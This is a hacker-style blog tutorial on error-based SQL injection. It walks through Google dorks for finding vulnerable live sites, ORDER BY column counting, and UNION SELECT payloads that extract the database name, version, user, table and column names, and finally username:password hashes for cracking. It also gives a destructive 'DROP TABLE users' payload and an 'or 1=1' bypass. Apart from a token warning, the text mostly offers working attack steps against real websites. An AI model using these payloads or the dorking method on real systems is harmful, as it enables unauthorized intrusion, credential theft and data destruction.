Hacking WebSites Using SQL Injection ~ Error Based ~

Today, I will like to spend my boring day writing a tutorial about SQLi Error Based.

SQLi { SQL Injection }

SQLi is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Imagine dropping an SQL Command to a database to do what you want:
Select, Insert, Update, and my best friend Drop.
Let's Take an unfiltered application that queries a database with the preferred user input.

Statement: SELECT FROM `users` WHERE `username` = 'sky'

'sky' is the user suplied data. Should a user like me type:

> sky';DROP TABLE users
> sky' or '1'='1

Please Don't Try This Queries on People's Work, Otherwise your gonna cause a great data loss to the owner
Query1: Will drop the table name meaning: Empty the whole table data

Query2: Will select all the data in the database, Could be credit card details : You could cause great data breach since i don't think you would report if you found Obama's credit card details in the application's database.

Although one or two people will report.
Ok Lets Get Practical.

How do you know when you need Error Based SQLi 
This is the most important part of web hacking; the type of injection to use in different situations.
You can use Error Based Injections in the following errors you get:

> Unknown column in 'order clause'
> The used SELECT statements have a different number of columns
> You have an error in your SQL syntax; check the manual ...
> Warning: ....

There are others but this is what one usually finds the most ....
Now take note of these errors. You'll be needing them

SQLi - Error Based
Let's start by finding some vulnerable sites. There are many vulnerable sites so hope you find a nice and good one.
You can search vulnerable sites through vulnerable dorks:

_trainers.php?id=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
newsDetail.php?id=
staff_id=
historialeer.php?num=
product-item.php?id=
news_view.php?id=
humor.php?id=
detail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=

You can get more here

1. Open Google:
2. Type: inurl: followed by our dork:

inurl:game.php?id=

Now when you re presented with the search results:
Take your time and visit each site carefully

3. To check if a site is vulnerable: apppend an apostophe ( ' )

If you find the errors i specified above then we are good to go otherwise try another site: Come back when you find one.

4. Finding Vulnerable Columns.

Append an order by statement followed by an increasing integer and two hypens -- until you get an error.
> http://vulnerablesite.com/buy.php?id=5 order by 1--

If you get no error, Increase 1 until you get an error.
Should you get an error on 5: Then keep in mind the columns are 4.
This is how the thing is: The number you get an error minus 1.
Error On Number 4: then the vulnerable columns are 3.
Hope you got that, Am not kind off a good teacher.

> http://vulnerablesite.com/buy.php?id=5 order by 1-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 2-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 3-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 4-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 5-- error

The Vulnerable column is the last index of no error: which is 4.

5. Checking for Union Select Function ...

We will need our vulnerable column number here ...
Above we got 4 i.e 1,2,3,4--

Now we need to find the injectable columns ...

To do that, site url followed by union select function and the vulnerable columns and also followed by our two hyphens (--) ...

> http://vulnerablesite.com/buy.php?id=5 union select columns --

Full URL: http://vulnerablesite.com/buy.php?id=5 union select 1,2,3,4--

After doing executing the url .... We will need to study the page to find the numbers that appear because they are our only gateway to inject commands to the database ... Study the image : Normal and After Query

From the study of the page: After Query ...
Result: 2,3,4

Injectable Columns are 2,3,4

6. Getting Database Name; Database Version; Current Database User

Database Name

Now from the above injectable columns 2,3,4 .... We could replace any one of the them with our query ... We will choose 2

To get the database name: Replace the preferred injectable column withdatabase() ...

Study: Before we execute the query ... Append an hyphen before our id parameter and continue with the query id=-5

In this post, We have Vulnerable Columns { 1,2,3,4 } and Injectable Columns { 2,3,4 } .... You need to take note of this parameters ..Since we choose 2 as our preferred injectable column number .... This is how the query is gonna be ...

> http://site.com/buy.php?id=-5 union select 1,database(),3,4--

Notice We replaced our preferred injectable column 2 with the querydatabase()

> http://vulnerablesite.com/buy.php?id=-5 union select 1,database(),3,4--

Note Our preferred injectable column number will be replaced with the database output ...

Result: btslab

My Results will be different from yours since am using my localhost not a real website so don't be like .... Your not doing the right thing ...

DataBase Version
Very simple: Just Replace database() with @@version

Result: 5.6.20

Current Database User
Same applies to database user Just replace @@version with user()

Result: root@localhost

7. Getting Current Table In Database { BTSLAB }

Replace paramater with and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--

Full URL: http://target.com/buy.php?id=-5 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--

Result: posts,users

8. Getting Columns From Table

I don't know about you but : I won't go for table:posts whiles I have seen table:users .......... "Hell Yeah .... Getting Table: users"

:Using Table - users

'Warning: You will need to convert the table name to MYSQL Char

Download HackBar
Click On Drop-down Menu: SQL and Click On Mysql .... Another drop-down appears and Choose MySQL Char()

After choosing MySQL Char() .. A javascript application dialog will pop up and prompt us for our text to be converted .... We type our preferred table name ... user

After Clicking Ok .... The text converted can be found in the addon's work bar ...

Now user==> CHAR(117, 115,101, 114, 115)
Done

Let's continue our query ..

Replace parameter with and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--

Note: table name: users have been converted ..

Full URL: http://target.com/buy.php?id=-5 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--

Result: ID,username,email,password,about,privilege,avatar,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

9. Getting Column Data of a selected Column name

Still don't know about you but am gonna go for column data:
username and password

Replace parameter with and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from users--

Full URL: http://target.com/buy.php?id=-5 and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from users--

Result: sky:bbc206c3aeebe3ed00cd14ec6e7f862c

10. What You Do With The Data Is Not My Part

Now you can try cracking the hash with online services ... I created one sometime ago ... You can go to my service here

Have A Nice Day !!! ....

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